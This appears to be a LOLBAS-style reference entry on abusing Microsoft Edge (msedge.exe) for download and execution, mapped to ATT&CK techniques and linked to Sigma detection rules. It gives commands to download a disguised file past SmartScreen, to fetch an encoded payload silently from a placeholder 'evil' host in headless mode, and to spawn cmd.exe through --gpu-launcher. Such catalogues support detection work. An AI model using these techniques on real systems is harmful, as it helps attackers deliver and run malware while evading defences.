.. /Msedge.exe

Download | Execute

Microsoft Edge browser

Paths:
c:\Program Files\Microsoft\Edge\Application\msedge.exe
c:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Resources:
- https://twitter.com/mrd0x/status/1478116126005641220
- https://twitter.com/mrd0x/status/1478234484881436672

Acknowledgements:
- mr.d0x (@mrd0x)

Detections:
- Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_browsers_msedge_arbitrary_download.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_file_download.yml

Download

. Edge will launch and download the file. A harmless file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen.

```
msedge.exe https://example.com/file.exe.txt
```

Use case: Download file from the internet
Privileges required: User
Operating systems: Windows 10, Windows 11
ATT&CK® technique: T1105

. Edge will silently download the file. File extension should be .html and binaries should be encoded.

```
msedge.exe --headless --enable-logging --disable-gpu --dump-dom "http://example.com/evil.b64.html" > out.b64
```

Use case: Download file from the internet
Privileges required: User
Operating systems: Windows 10, Windows 11

ATT&CK® technique: T1105

Execute

Edge spawns cmd.exe as a child process of msedge.exe and executes the ping command

```
msedge.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c ping google.com &&"
```

Use case: Executes a process under a trusted Microsoft signed binary
Privileges required: User
Operating systems: Windows 10, Windows 11
ATT&CK® technique: T1218.015